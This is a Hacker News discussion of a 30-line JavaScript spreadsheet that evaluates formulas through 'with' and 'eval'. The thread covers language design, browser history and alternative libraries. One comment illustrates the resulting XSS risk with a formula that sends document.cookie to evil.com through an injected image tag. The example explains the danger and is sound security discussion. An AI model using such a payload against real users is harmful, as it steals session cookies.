Hacker News new | past | comments | ask | show | jobs | submit login
A spreadsheet in fewer than 30 lines of JavaScript, no library used (jsfiddle.net)
1447 points by ondras on Nov 13, 2013 | hide | past | favorite | 259 comments

I am impressed. Its a neat hack, it actually is a real spreadsheet in 30 lines of code, with references fully working (ie =A3+B4 gives expected output. As does =alert("foo") but then nothing is perfect).

I think it says something about the browser as a platform - these thirty lines simply assume an enormous amount that excel and visicalc could not - visicalc had to write their own screen refresh routines.

It is useful sometimes to reflect on what has evolved so far - and wonder where we should be taking things. What is it now that is the equivalent of writing our own screen handling routines? Location? Distributed computation or storage?

A 30 line javascript spreadsheet is similar for me to when I first saw Norvig's 21 line python spelling corrector (http://norvig.com/spell-correct.html): this language is more powerful and expressive than I thought.

I'm increasingly believing that HTML/CSS/JS in a browser is a viable common runtime. This demo does quite a lot to solidify that belief.

The only things that are powerful and expressive in JavaScript are bastardized beyond recognition versions of ideas from Lisp, Smalltalk and Self. You get those dynamic mechanisms that we know for 50 years now (lambda expressions and runtime method dispatch, oh wow) to be useful but without learning any lessons learned in those 50 years about how to design a coherent language based on those concepts, you just get a hodgepodge of language constructs that don't add up together to form a useful toolkit. It might look nice in a 30 line program where you don't care about performance, code readability (and boy does this code look ugly) and bugs and maintenance costs.

Ruby or Smalltalk have an object system for doing those kinds of things that was actually designed and not evolved by committees and corporations, so that your meta-programming doesn't have to always be only eval and .bind in various incarnations (unsafe, inconvenient and slow). I can't imagine how this thing here that makes evaluating "A1" perform a function call fits into the rest of JavaScript and why the hall was it even introduced:


Not to mention the "with" usage on which this hack is based is actively discouraged by everyone using JavaScript as it basically mixes in the object into the current scope. In a sane language, you do .instance_eval, and you narrow the scope to whatever the object contains.

I congratulate the author of this code as much as everyone for finding an unexpected and very creative use for those features, but this doesn't make them great.

> (and boy does this code look ugly)

At least to this dev, it's pretty clear what each line is doing and how -- certainly clearer than what you mean by ugly.

> your meta-programming doesn't have to always be only eval and .bind in various incarnations

I don't think this statement makes a whole lot of sense except to the degree all meta-programming could be argued to be eval and bind in various incarnations. Certainly there's literally other options available for JS.

> unsafe, inconvenient and slow

Someone holding up Ruby as an example while complaining about safety and speed in other languages is... interesting.

> the "with" usage on which this hack is based is actively discouraged by everyone using JavaScript as it basically mixes in the object into the current scope

"with" gets a bad rap, and its blanket discouragement/deprecation may be as big a mistake as its original design. It's true that using it takes some thought about the potential scope ambiguities, and it's true that it could have been better designed (personally, I think an optional de-ambiguating dot-operator would have been a nice lightweight way to go), but it's also pretty useful, and once you take the time to understand what the possibly ambiguous cases are and what the decided-on rules are, it's not hard to work with.

> In a sane language, you do .instance_eval, and you narrow the scope to whatever the object contains.

The right instance scoping construct might've been one of several nice ways to go too, but certainly not the only sane option.

> this doesn't make them great.

No, apparently just... useful. Useful enough to build something like this. Certainly not great, though.

> "with" gets a bad rap, and its blanket discouragement/deprecation may be as big a mistake as its original design

Unfortunately not. The design of with not only makes the code difficult to reason about for humans, it also makes the code difficult to reason about for js engines, and so it typically prevents any interesting optimisations. So code written using "with" will be both confusing and slow.

I agree, saying "Wow, this is a viable and useful language" because you can do something in just a few highly unreadable lines seems... like a pretty odd judgment.

It'd be a bit like saying that C is a great language because someone wrote a raytracer that fits on a business card[0] using it.

[0] http://fabiensanglard.net/rayTracing_back_of_business_card/

This code is fairly readable. It takes one or two shortcuts, but it's much closer to real code than to golf.

its called "Abstraction"

All valid points. With the norvig example, the longer I look at it the more I like python. With this js example, the more I look at it the more I like python.

Sadly, I can't really run python in the browser.

Yeah, I'm aware of this and emscripten. So far, to me, they don't look viable for DOM manipulation.

Consider coffeescript. It does a good job at removing nuisance quirks from Javascript, and adding some python-esque features (sensible looping constructs, list comprehensions, etc.), while maintaining logical equivalence with the javascript it compiles to. (It also mirrors some of the syntactic features of ruby that make that language so appropriate for producing DSLs, which is a feature or a bug depending on your perspective)

You really can think javascript and write coffeescript.

Consider ES6 too. It also does a good job at removing some Javascript quirks and adds sensible looping constructs, list comprehensions, generators and generator comprehensions, proxies, rest/spread arguments (removing the need for the magical `arguments` identifier), classes (just sugar for what we already wire up with prototypical inheritance), modules, fat arrow functions etc.

No help on the DSL front though - still stuck with various kinds of brackets and parens.

On the other hand, it doesn't do the utterly horrible mistake of conflating variable declaration and variable assignment while forbidding shadowing, resulting with surprise bugs and spooky action at a distance.

I like the way ES6 is going, but Coffeescript has the advantage of maintaining compatibility with old (like, old-old) browsers. I hate having to do it, but you can't just ignore them.

Server-side, sure, use the latest build you can get.

There is traceur (https://github.com/google/traceur-compiler) and it can provide most of the features - except proxies.

You make a convincing argument.

Thanks! If you're looking for ways to ease the burden of compiling it yourself, my favorite tools are django-pipeline (for django) and middleman (for static sites). Both of these let you treat coffeescript files as first-class while you develop.

Imagine if management had not vetoed non "Java-like" syntax's during javascripts creation. Maybe Brendan Eich could have gotten a decent scheme dialect into the browser instead, people could have learned it (because in hypothetical retrospect, what else were they going to do? Not learn it?), and we would be in a far more pleasant position today...

Not learn it?

Certainly an option; keeping the syntax recognisable helped rather than hindered adoption, which was slow enough as it was at the beginning.

JS+DOM could have lost to Flash rather than vice versa.

If being "like java" was so important, then why didn't it just straight up lose to "actually java"?

I don't think that JS+DOM beating flash/java has much to do at all with "gee, this looks superficially like java, but is different enough to trip me up in rather weird ways".

Don't conflate why Flash lost to why Java (in the browser) lost, there are very different reasons. For one thing, Java had failed as a browser plugin long before Flash did (as if we don't still see Flash in the browser...I wonder what our discussion would be if not for Apple?).

They would have learned whatever Java/C-derived scripting language that Microsoft came up with instead.

That was likely the fear at the time, but what we actually saw was Javascript became popular because it was useful and there wasn't really anything else like it. It became popular, so Microsoft threw in with it too.

In order for that to have not happened, it would have had to be so unpopular that Microsoft would decide it wasn't worth adopting, but still popular enough to get Microsoft on board with the general idea. I just don't think that is likely; people would have sucked up a scheme-based javascript even if it was a tad unfamiliar; it was that useful.

(Not to mention, going with the cynical "three E's" theory of 90s Microsoft, they would have at least first adopted it before perverting it.)

I think people overplay the importance of being C-like. AutoLISP hit a bit earlier and found a very strong following in a non-programmer niche. People doing web development were already fucking around in HTML of course, so clearly they could wrap their heads around things over than curly braces.

that is a weird and complicated take.

microsoft had visual basic in the browser, working like php works. that was microsoft's vision, which would have been the web if netscape didn't still have significant market share. IE had to implement javascript to be compatible with pages written for netscape.

simple as that. just microsoft's famous "embrace, extend, extinguish" strategy at work.

Microsoft's famous "embrace/extend/extinguish" is why they would have followed Netscape in implementing even a scheme-like javascript. They wouldn't have skipped the first two E's just because it was scheme-like instead of java-ish.

No, but perhaps there would not have been any pages written for netscape for IE to be compatible with.

So....I wonder...what's your idea of what should be a proper language to have in the browser?

Note: This isn't criticism of your view nor am I taking sides. I am wondering --since you have a strong opinion on this front-- what you think the solution might look like.

I mean, are you looking at the idea of having something like python natively available at the browser?

I recently found myself needing to use "with", and hating myself for it. Does anyone know a better way to do this in JavaScript?

    // Take an array of context dictionaries, and return a                                                                                      
    // function that evaluates a string in those contexts.                                                                                      
    // I fully realize how horrible this code is, and that                                                                                      
    // it only supports up to ten contexts. I feel terrible                                                                                     
    // about it, as I should, but I would feel even worse                                                                                       
    // if it were impossible to do this. But isn't there                                                                                        
    // a simpler way to do this is JavaScript? Maybe I                                                                                          
    // could use __proto__ inheritence, but I was hoping                                                                                        
    // to avoid.                                                                                                                                
    function evalInContextsFunction(_contexts) {
        var _contextCount = _contexts.length;
        if (_contextCount == 0) {
            return function evalInContexts(_text) {return eval(_text)};
        with (_contexts[0] || {}) {
            if (_contextCount == 1) {
                return function evalInContexts(_text) {return eval(_text)};
            with (_contexts[1] || {}) {
                if (_contextCount == 2) {
                    return function evalInContexts(_text) {return eval(_text)};
[...and so on...]

What breaks my heart when someone claims that JavaScript was inspired by Self, is how Self was all about the wonders of multiple inheritance and dynamically mutable parent slots. JavaScript totally missed the boat on that one, with only one prototype slot, and the only time you can set it is when you create the object with "new".

I've felt that way for 16+ years.. of course, 2/3 of that time most developers never took the time to understand/learn JS the language, and then separate that from the horrible browser DOMs in the late 90's. NN's Layers vs IE document.all ... Starting with IE5/6 (and later Phoenix/Firebird/Firefox) it actually got a lot better.

It's definitely nothing like IE4/NN4 days, and it looks like IE8 is finally falling off the radar, with IE9 to follow in the next couple years. It's only getting better. IE8 was really the last relatively bad browser imho. IE9 has some quirks, and IE10/11 are actually pretty nice (though IE11 is the most buggy browser MS has released since IE6, possibly more so).

Yes, there are still browser compatibility issues.. but they are so few and far between for day to day use. Except for WebRTC and WebAudio, things are really solid.

> it looks like IE8 is finally falling off the radar

Some are luckier than others... I suspect one of our major clients (one of the country's largest banks) will be stuck using IE8 and nothing but for the next few years at least. They only moved off IE6 recently due to it falling out of support next April, so there is a chance they'll stick with IE8 until 2019 (the year before it and Windows 7 drop out of extended support).

At least our other major clients (smaller financial institutions) have started to see sense. While they are stuck on IE8 due to some ancient internal code that won't work on anything more correct that are at least rolling out Chrome on their standard desktops as an alternate choice for everything that doesn't rely on old IE bugs.

Seconding this - some of us designing web applications / intranet apps for banks or government have to support IE8 for the foreseeable future. We're just now starting to drop IE6 support for the new versions of our products.

When I was a contractor at a major bank, the standard was IE6, and movement towards IE8 was in progress (as Win7 was rolling out)... I don't know if they held at IE8 though, as most people I knew there have left, even the FTEs. It was an SPA that drove a lot of adoption/allowance to use Chrome/Firefox, so it may have well gone that direction since leaving.

The move from IE6 to IE8 has (pretty much universally in the investment banking industry in the UK) only been over the last year or so.

They are still pretty much all on XP, but new laptops are generally Windows 7 (with IE8) and I suspect Win7 will be rolling out to older standard builds (both desktop and laptop, machines old enough to not be Win7 compatible having been replaced already) as the first thing the relevant TS departments do after the Christmas/NewYear non-emergency-work freezes.

What's an SPA? (I guess FTE are full-time employees?)

Single Page Application. There are a bunch of javascript SPA frameworks getting attention lately. Angular, Backbone, Ember...

> Norvig's 21 line python spelling corrector

That spell checker is intended to demonstrate a technique but it is far from 21 lines of real code. It you look at the included modules (re and collections) you'll find THOUSANDS of lines of code.

As always "I did x in n lines of <insert language>" often are really interesting learning tools but real production code isn't (or should not) ever look like these examples. No criticism of Norvig's code, it's interesting and I, too, learned something very interesting the first time I saw it.


> What is it now that is the equivalent of writing our own screen handling routines?

Centering something using CSS. :(

Just goes to show how much the far left and the far right has influence over our society

Eh, it's pretty easy to get things not on the far side of the screen; it's just hard to get it precisely in the center.

Center something vertically :). Or even better, create three divs, arranged horizontally, with a different amount of text such that all the divs are the same width and height. Note that you cannot specify a height for the parent since the text may be of arbitrary length. Makes me sad every time.

Sure, table layout is how you'd have to do this. To me this shows that half of HTML/CSS happened because of legacy issues and not with deliberate thought. The semantic web is mostly dead other than to help Google parse out their own ads while CSS remains a mess full of hacks like this.

There was never anything wrong with the table layout algorithm, what sucked was that there wasn't any way to apply it without typing your HTML rigidly to that structure. The situation still isn't perfect and flexbox is a strange alternative that I'm not quite happy with yet, but you can't deny that the HTML in my example represents the content you described with almost no extra layout fluff.

Fair enough. Perhaps this wasn't the best example.

should be easy with flexbox (crossbrowser possible)

simple demo: http://philipwalton.github.io/solved-by-flexbox/demos/vertic...

He was being punny...

I'd say its more like, using OpenGL ES to manage your render buffers and textures ..

Personally I was confused as to how the fellow got around the basics of having to parse tokens until I noticed

with (DATA)

now that's just genius. I hate writing token parsing.

Using both 'with' and 'eval' on the same line, nice ;)

Douglas Crockford said in his excellent talk 'JavaScript: The Good Parts' that he highly recommends js -developers to avoid 'with', as it doesn't work correctly and for 'eval' he has to say 'If you are finding yourself using eval, you really are thinking about things the wrong way'.

Source, starts where he is speaking about with and eval: http://youtu.be/hQVTIJBZook?t=13m30s

Are these statements still true ?

Yes, the statements are still true. This is an exceptionally clever hack, but it can't really be expanded upon, because as soon as you allow sharing of spreadsheets, it is a security nightmare.

Consider: =document.cookie, or =document.write('<img src="http://evil.com/'+document.cookie +'">');

eval of user input is just not safe, and the with statement also presents problems, such as =INPUT

Doing this all in a webworker might be one way to get security - by sandboxing the with/eval?

Possibly. Web workers are isolated from the DOM, but can still do stuff like import other scripts or do XHR requests, but those would be limited to the same origin.

It seems like that would be somewhat XSS safe since you are just passing strings back and forth.

I really like this idea.

That being said, for a spreadsheet, you need to bite the bullet and parse the formulas. I don't see an easy way to support SUM(A1:A4) using this eval hack.

Script evaluated in a web worker would still have access to your application's cookies and would be able to interact with the server with the user's credentials. You probably don't want that.

you can use httpOnly cookies and they will not be accessible via javascript.

At a general level, the recommendation to avoid `eval` and `with` is worth heeding, particularly for people who are new to the language.

You need to be familiar with how `with` handles some ambiguous cases in order to use it effectively and safely, `eval` can have some security and performance gotchas. And usually there are other ways to do many of the things you can do with either of them that don't have those pitfalls.

That said, I think the recommendation got out of control -- we have this bad habit of collapsing studies of problems with something into blanket declarations that they're evil.

Here we've got a demo/proof of concept where one of the key constraints going in was code size and using only native facilities. `eval` is saving the developer from writing a parser/expression evaluator, `with` makes it easy to use `eval` while keeping the data in a limited scope. A bigger spreadsheet app would have its own expression evaluator that uses, but using them here makes sense to keep things simple.

They also occasionally make sense in other contexts. Just make sure you really understand the problems involved and have strongly considered other options before you break them out.

Somewhat. It is generally not recommended to take things dogmatically; even a potentially dangerous and frowned-upon techniques might be suitable in certain scenarios.

Yes. They're generally performance and reading nightmares. But this is a very clever usage.

There aren't a lot of good reasons to use `eval` and `with` in production JavaScript. Two wrongs don't make a right, even when you use them on the same line of code.

I'm a bit slow this morning...would anyone mind explaining how that and the defineProperties stuff makes a parse happen?

50 getters are defined on DATA: a1..e5, and A1..E5

Consider the formula =A1+A2

inside the getter we have:

    with(DATA) eval('A1+A2');
Which is basically the same as:

Inside the eval, the getter for A1, and A2 will be called. This will continue until non-formulas are reached and value is returned. The other possibility, is you get an infinite amount of recursion, which causes an error that is caught in the try/catch block. For instance, if you put =A1 in A1, the DATA.A1 getter gets called 1000's of times, eventually causing a stack overflow, which is caught by the try/catch block.

defineProperty is being used to set a property On DATA, named corresponding to the cell's id (e.g., A3), to a descriptor. In this case the descriptor only provides a getter function, inside of which is an eval done with DATA as the context. That means all evaluated variable references will assume DATA as the implicit 'this' (whereas normally that would be 'window')

I am a bit lost as to why cycles are handled the way they are. Part of the problem, is cycles seem to crash chrome's developer tools.

If you put =A1 in A1, and =A2 in A2, it crashes the web inspector for me.

I am lost as to why putting =A1 in A1 doesn't cause an infinite loop. Why doesn't eval (DATA.A1) not trigger the getter and hence an infinite loop?

It's possible that the call stack is being exceeded, but the Web Inspector is still trying to display each portion of the call stack - leading to an out-of-memory condition for the inspector?

The getter impl should prevent this. Firefox, for instance, throws an exception...

I think I figured it out. It does cause an infinite loop, but Chrome throws a "Range Error: Max Call Stack Exceeded", which then gets trapped by the try/catch block.

Firefox does a similar thing, by throwing a "too much recursion" error.

I can safely say its one of the only 'appropriate' uses of a with-block I have ever seen.

with (context) + eval = user-space lexical environment ?

No, unfortunately. If a reference isn't found in your context object, it falls through to the ambient namespace. So say you run ...

    context = { foo: 1, bar: 2 };

    with (context) {
        foo = 2;
        bar = 3;
That will probably do what you expect. But now say you run it where context is just ...

    context = { foo: 1 };

    with (context) {
        foo = 2;
        bar = 3;
... you might think this would add a 'bar' property to your context object, but in fact it creates a global variable bar. Whoops!

In short, 'with' is pointy on both ends.

Oh yeah, `with` is dangerous.

Yep, I'm using something very like this in a Node project I'm working on. However, with(context) has some pretty nasty side effects that I just couldn't sidestep, so I used the "contextify" module.

If you're needing with and have access to npm, use contextify, It'll save you a lot of effort!

Do you mind elaborating on those nasty side effects? (I use with(context) for a small but important feature in the product I work on.)

if it's on node.js I imagine there's things to worry about like malicious injection

Thanks for the tip, but I'm far from working with javascript right now[1], I was barely trying to understand the trick. I love the fact that this 'app' is a 6x6 variables grid layout javascript editor in disguise.

[1] I just finished skimming through eloquent js and js allonge, and this still eluded me.

I replied with a blog post, which goes into detail regarding what I believe is the single, critical aspect that is currently holding up innovation in spreadsheet technology: the ability to run untrusted code without compromising security.


While reading I also noticed the '=alert("foo")' hack, and thought I'd be able to point it out first, but you beat me to it! Ah well, that could be fixed pretty easily if it were harmful enough.

I think it's time that we accept the browser as a platform development model. Now Apple has 'iWork for iCloud' and Google has had it's doc programs for a while.

Very good hack, very powerful idea.

It's not really comparable, but minimalistic spreadsheet applications always remind me of Dan Piponi's Haskell `loeb` function [0]---a "one-line" "spreadsheet" "implementation".

The blog post is very interesting to read, but here's the meat. We're looking for a function with type

    loeb :: Functor f => f (f a -> a) -> f a
and without thinking about the meaning of it, we can implement it as

    loeb x = fmap (\a -> a (loeb x)) x
which embodies a certain, strange kind of recursion. It turns out that it's "spreadsheet recursion". We build a list of functions from lists of a to a like

    test :: [[Int] -> Int]
    test = [ (!! 1), length, (!! 0) ]   -- think [A1, length(A), A0]
then `loeb test` "completes" the list by applying the "result list" to each of the functions of the source list.

    loeb test == [3, 3, 3]
Laziness lets the recursion proceed despite "evaluating" the list from left to right. Infinite loops still fail

    loeb [(!! 0)] == [............ waiting
It's also interesting to think of how to do "spreadsheet recursion" on exotic data types like trees.

    data Binary a = Branch (Binary a) a (Binary a) | Tip
                  deriving (Show, Functor)

    depth Tip            = 0
    depth (Branch l _ r) = succ (max (depth l) (depth r))

    top default Tip            = default
    top _       (Branch _ a _) = a

    > loeb (Branch Tip depth (Branch Tip (top 0) Tip))
    Branch Tip 2 (Branch Tip 2 Tip)
[0] http://blog.sigfpe.com/2006/11/from-l-theorem-to-spreadsheet...

One more cool trick from the same article (slightly modified). It's a factorial function computed on an "infinite spreadsheet". But how?

    fact = loeb fact' where
      fact' 0 _ = 1
      fact' n f = n*f (n-1)
If we ask GHC for the type of `fact'` then we see that it is

    Int -> ((Int -> Int) -> Int)
which we can interpret via the `Reader Int` monad as being

    m (m Int -> Int)
    -- for 
    m a = (Int -> a)
Now, `f :: (Int -> a)` as a functor is isomorphic to an infinite stream

    map f [0, 1, ...]
if we ignore the negative numbers. So we can think of `fact'` as having the type

    Stream (Stream Int -> Int)
where each function in the stream takes its own index and multiplies it by the value at the previous index.

Then `loeb` completes the computation using spreadsheet recursion.

And because I just find this really fascinating, here's a more direct implementation of `fact`

    data Stream a = Stream a (Stream a)
                    deriving Functor

    tabulate :: (Int -> a) -> Stream a
    tabulate f = go 0 where
      go n = Stream (f n) (go (succ n))

    index :: Stream a -> (Int -> a)
    index (Stream a _)  0 = a
    index (Stream a st) n = index st (pred n)

    -- btw: tabulate . index == id
    -- and  index . tabulate == id

    fact :: Int -> Int
    fact n = index (loeb facts) n where
      facts :: Stream (Stream Int -> Int)
      facts = tabulate $ \i stream -> i * index stream (i-1)

Just yesterday I was about to temporarily quit Haskell after slamming my face into Learn You A Haskell's Functor chapter. But after seeing the concept applied (jokes for nerds!) like this, I think I'm going to give it another shot. Thanks!

If you're ever in need of more motivation, be sure to take a look at more posts on Neighborhood of Infinity. It's truly an inspiring blog!

Here's a solution to the Twitter waterflow problem with loeb: http://chrisdone.com/posts/twitter-problem-loeb

Was about to post this as well. By far the neatest application of curry-howard i've stumbled on.

This is truly great as proof of concept and also as a reminder that in software development building 80% of perceived* functionality usually takes only tiny fraction of total development time which is required to build final product.

* - this app looks and feels like “almost complete spreadsheet” yet it provides much less than 1% features of even a basic spreadsheet.

And 80% of perceived functionality is what most users — even people who rely on spreadsheets for their work — need.

I'm not saying including the other 20% of functionality isn't a good thing to do, but when you're creating a new product or open source project, you can get by (and thrive) building only the 20% of functionality that's used 80% of the time.

Why? Because 1% of functionality is still better than 0% (never shipping).

You're not Microsoft. You don't have to keep your dominance in the spreadsheet software market like Microsoft has to.

You missed his point.

It doesn't actually work well. It doesn't do basic stuff, which makes it entirely unusable. Like you can't move up/down/left/right using the arrow keys. You can't save it. It crashes if you make basic mistakes.

The 80% of perceived functionality is that it looks like a spreadsheet app and actually does some basic calculations.

It actually does about 5% of what you'd expect even the most basic of spreadsheets to do. And all the polish of even the most basic functionality is missing, which is what takes most of the time.

Which is why you should always avoid putting a pretty looking but barely functional mockup in front of the pointy hairs. They then think it's almost done.

Agree with your last point totally.

But 30 lines of code, what do you expect? Now imagine jQuery type library with a community of developers and you get... Google Docs :-p

I'd say this is to Excel as MongoDB is to any real database.

> And 80% of perceived functionality is what most users — even people who rely on spreadsheets for their work — need

This is exactly the insidious myth that the GP is pointing out.

Yes, 80% of the "perceived" functionality might be 1% of the work. But the remaining 20% is a long tail of utterly essential features that are completely fragmented between users. Each user only cares about 80.1% of features, but without the extra 0.1% your spreadsheet is useless.

One user will care that it doesn't print. Another will care that it can't do a sum over columns. Another will care that it doesn't have charts. Another will care that you can't make a bold heading. Another will want statistics functions. Basically your "80% of functionality" has zero value until you do years of work to implement all those 0.1% features.

This myth leads countless people to implement what they think is MVP and then be mystified that their insanely great work still has zero value to anybody they actually show it too.

The problem is that the total economic value (as measured by market price) for the users who only use that 80% of perceived functionality is close to 0 (google docs and OO/LO are free)

The incredibly difficult 20% is what people pay for. It's what the businesses that shell out billions of dollars a year pay for. And it's what a successful product in the space needs to tackle

On the other hand, you are taking what appears to be a general observation and applying it to this specific instance. Sure, there are plenty of free spreadsheets available. But what about other areas? There's plenty of areas still where a well executed easy to use minimal version of a product can compete in the existing for-pay ecosystem, and as we are discussing, minimal can pay off since 20% of functionality may take 5% or less of the time it would take to do 100%.

Y'alls be talking about different things.

You're talking about "feature minimalism is a good design philosophy".

The other dudes are talking about "bridging the gap between a sweet demo and a final product is a tremendous assload of work".

No, I'm specifically just saying that not everyone's "final product" is the same thing, and depending on the target market and audience, a minimal product may be worthwhile, and the economic value isn't always "close to 0", as the parent I replied to stated.

Also, I don't think that "feature minimalism is a good design philosophy" is always true, even though it may guide you well in most cases.

Um no. Google docs is free for the same reason IE was free. The economic value is tremendous, such that the creator is willing to spend billions on it.

This ridiculous false choice suggests a certain lack of understanding of what it is like to build software.

Really? The first thing I did was select a cell, type =, then press the arrow keys. Nothing happened.

The perception of being a "almost complete spreadsheet" might be due to the UI looking similar to older versions of Excel, leading people to assume stuff is there that doesn't.

Also, I wonder how much of this code would survive if you want to get beyond this 1%. Probably nothing, which makes this a road with a dead end. This doesn't mean it is not a useful and brilliant demonstration of cool language features (hacks?), which is how I see it. But there's no relationship between this amount of work/code/lines for this percentage and the amount of work/code/lines for any reasonably higher percentage of spreadsheet functionality.

If anyone else is wondering why formula evaluation is not working in Chrome, it is because jsfiddle is violating Chrome's security policy by serving up the javascript from fiddle.jshell.net (not jsfiddle.net).

When this javascript code attempts to access the LocalStorage API, Chrome (rightfully) steps in and says: nope. This may be a new security feature, but is present in Chrome 30.0.1599.114 on Fedora.

Are there any more full-featured libraries that people use for this?

I've found SpreadJS[0], GelSheet[1], jQuery.Sheet[2], and ZK Spreadsheet, but none seem like thriving open-source projects as far as I can tell.

[0] http://wijmo.com/demo/spreadjs/samples/index.html

[1] http://www.gelsheet.org/demo

[2] http://visop-dev.com/Project+jQuery.sheet

[3] http://www.zkoss.org/product/zkspreadsheet

I've been a fan of SlickGrid for a while, it handles huge data sets relatively well. If you want excel-style functionality it'll still take a little work.


SlickGrid is very nice and seems very advanced. Thanks!

Probably not, since you can't really make a spreadsheet-like widget unless you endeavor to make it an Excel clone.

Many grid (table) widgets support edit-in-place, but that's as far as most of them go. The target userbase for full-featured spreadsheets is going to be users whom I'd presume already have access to Excel (edit: and/or access to a compatible product, like Google's online version or maybe one of the FOSS MSO replacements).

I have used http://handsontable.com/ before in my projects.

The most full featured OS JS spreadsheet I know of is ethercalc, check it out. It's even got a rest api..

Was going to comment along the same lines. Might not be "a library", but absolutely worth a look:


Whilst not focused on being an Excel clone, Backgrid has worked great for me. It's bound to backbone/underscore if you're already using that.


Styles and Graphs - Spreadsheet GNU GPLv2 : http://www.simple-groupware.de/cms/Spreadsheet/Home

Keep thinking I need to convert this to JS: Spreadsheet formulas that build web applications - http://www.youtube.com/watch?v=oogKKfbRyMQ (2 Min)

I'd really love to see one that supports a hierarchy of JSON data, such as a treegrid.

Can you explain how such a tree would map inside a graph? I can't think of an obvious use case.

The use case is something like this: http://ludo.cubicphuse.nl/jquery-treetable/

It would be nice if something like that existed, but with much richer features like the libraries above.

IIRC, both datatables [1] and JQGrid [2] do this, right?

[1] http://datatables.net/


How about editing csv files in a git repo?

how much money is that worth to you?

Formula.js has most of the excel formulas in a library. http://stoic.com/formula/index.html

Wow, was this made by the same ondras who made wwwsqldesigner? This guy got me into Javascript a couple years ago thanks to the source code of that tool, and now it pays a good part of my bills. The tool himself helped me quite a bit too. Awesome guy.

Nice hack, impressive!

Yes, it is the same Ondřej.


This is very impressive. The use of "Object.defineProperty" and "with" to handle formula evaluation is particularly clever.

Reminds me of this; a spreadsheet (with graphs :P) in 2KB of C




Awesome job! Very clever :)

After seeing it working and the few clever lines of code I was really surprised. But then I though: oh, let me go back to HN and read the comments from people saying "BUT IT DOESN'T HAVE CHARTS!!!" and unfortunately comments like that are here. What is wrong with this poeple???

Apart from the fact that I think (as far as the comments that are on now) you are exaggerating quite a bit with "BUT IT DOESN'T HAVE CHARTS!!!", I also think there's no need to suggest that there's anything 'wrong' with those people.

There's the downvote button if something is really not fruitful for discussion (remember though discussion is - to a respectful extent - often enriched when people differ in their views and opinions on a subject).

I don't see why every thread on HN needs a top level comment that meta-discourages criticism.

I still don't have the down vote option :(

And the reason why I point these critics out is that they are simply not reasonable if you know what is happening there. Perhaps having a top level comment like this may actually encourage them to think twice or try to learn before commenting?

But you know, maybe this is just a mirror to what happens almost daily in companies where there are non-technical people making decisions. Imagine this "excel-like app" being presented by the author to his boss, a non-technical person, as something extra that he built and is all excited about. There is a good chance that his boss will make the bad comments that it is lacking a lot of features. That is probably why these people make such comments: they don't have a clue of what is going on.

Here are some links to Carl Sassenrath World's smallest spreadsheet program he wrote back in 2001 using Rebol (under 100 lines):

* Announcement on Rebol mailing list - http://www.rebol.org/ml-display-thread.r?m=rmlNHPK

* Code (Rebol script library) - http://www.rebol.org/view-script.r?script=rebocalc.r

* Code (in Gist for nicer syntax highlighting) - https://gist.github.com/draegtun/7454495

* Recent blog post with screen image - http://rebol2.blogspot.co.uk/2013/08/the-worlds-smallest-spr...

Level in the header is beginner. In 2001. Download Rebol/View, the source in the gist link. Run Rebol, click console. pwd, ls, cd to the place you put the gist code. type "do %whateveryounamedthesource". Smaller than a browser i would guess.

>Smaller than a browser i would guess

You can amend max-x & max-y variables in the script to change spreadsheet size to make bigger.

For others...

The Rebol 2 binaries to run this spreadsheet script can be found here - http://www.rebol.com/download-view.html

And from the shell/command line you can also run the script straight off the internet like so:

  ./rebol http://www.rebol.org/download-a-script.r?script-name=rebocalc.r
The spreadsheet is simple to use (beginner level) but surprisingly very powerful (Rebol types, expressions & functions are available).

This works wonderfully.

Definitely the most punch I've seen per line of code.

You can use javascript functions in your excel formulas. In a 30 line of code program this is a feature.

= alert("I love it.");

Definitely a cool hack, but I had to laugh out loud at "Excel-like syntax (formulas start with "=")". Apparently the grammar for an "excel-like" syntax is:

excel_like_expression ::= "=" javascript_expression

Very cool and a great springboard for others to develop from.

Bug/feature: only uppercase works in formulas (A4 works but a4 does not).

Neat idea, lowercase fixed!

Worth a line of code to add return key to move down a cell?


    elm.onkeydown = function(evt) {
        evt = evt || window.event;
        var keyCode = evt.keyCode || evt.which;
        if (keyCode == '13') {
            var nextid = this.id.charAt(0) + String.fromCharCode(this.id.charCodeAt(1)+1);
disclaimer: I don't know JS

Just yesterday there was that Google email from 2010 talking about how JS can not evolve any further. It made me feel a bit wasteful about my time spent with the likes of node and angular.

Seeing things like this reminds me how much JS is capable of in today's browsers and also shows me how much more I need to understand about the language.

Awesome stuff.

It's important to remember that when someone is justifying the existence of a new project, claims like "<that technology> can't evolve to meet the needs of <this technology>" are highly suspect.

A reminder of why HN is awesome. Ya ya i know it is a clever little JS hack and hardly an excel replacement but love the creativity of this.

Can someone help me understand how this works? Don't have deep JS knowledge and I can't see what's going on with `DATA` and all that.

Well I'm a javascript noob myself but I'll try to explain. The clever thing is how he used eval.

This is where the magic happens :

  var getter = function() {

          var value = localStorage[elm.id] || "";

          if (value.charAt(0) == "=") {

              with (DATA) return eval(value.substring(1));

          } else { return isNaN(parseFloat(value)) ? value :

  parseFloat(value); }

So if you entered "=A1 + A2" it would be evaluated as DATA[A1]+DATA[A2] . A1 and A2 get bound to DATA because of the preceding with statement.

Now the question is what happens when DATA[A1] is called. He used Object.defineProperty to ensure that whenever you try to access a cell the same method (which i just explained) gets called.

    Object.defineProperty(DATA, elm.id, {get:getter});
This means add a property called elm.id to DATA and it's getter is the function I just explained.

So whenever we try to acess DATA[something] it hooks into the same getter method so a cell can depend on another cell which depends on another cell and so on ..

Now you can see why this so clever. Because he used the inbuilt eval it can evaluate any kind of formula involving multiplication , division or function calls.

The only thing I dont understand is how circular references are prevented.

Like I said I'm not very familiar with JS so if anyone notices anything wrong I'd like to know.

Circular references are not really "prevented". Most browsers just stackoverflow after a couple of thousand calls. The code below try/catches that error and simply continues.

Expressions did not evaluate for me. Reading the other comments I think I'm the only one though :-(

They didn't work for me either - the attempt to access localStorage on my latest Chrome/Mac throws a security error in the console for some reason (may be a plugin/blocker). If you're getting the same, it seems to work in Safari for me.

Broken for me too, on both FF & Chrome. As you say, the formulae are just displayed, not evaluated.

I'm getting the same behavior. formulas like '=1+2' just show in the cell instead of their result.

You have to click on another cell for them to evaluate (pressing return does nothing).

In Chrome I had to allow localStorage for it to work, which was disabled by default.

For 30 lines of code it is indeed impressive.

But I think it would of been more impressive at 40 or whatever it would of taken to have a couple error checks.

What I mean by this is if you enter an invalid formula say =() or =asdf in a cell it breaks all the valid formulas you enter after that cell making them display as text instead of a value when refreshed.

Added a trivial try-catch block so error in one cell does not prevent others from evaluating. Line count unchanged :-)

I thought the spreadsheet was mad impressive and decided to take a shot at making it massively multiplayer. Here's the fiddle:


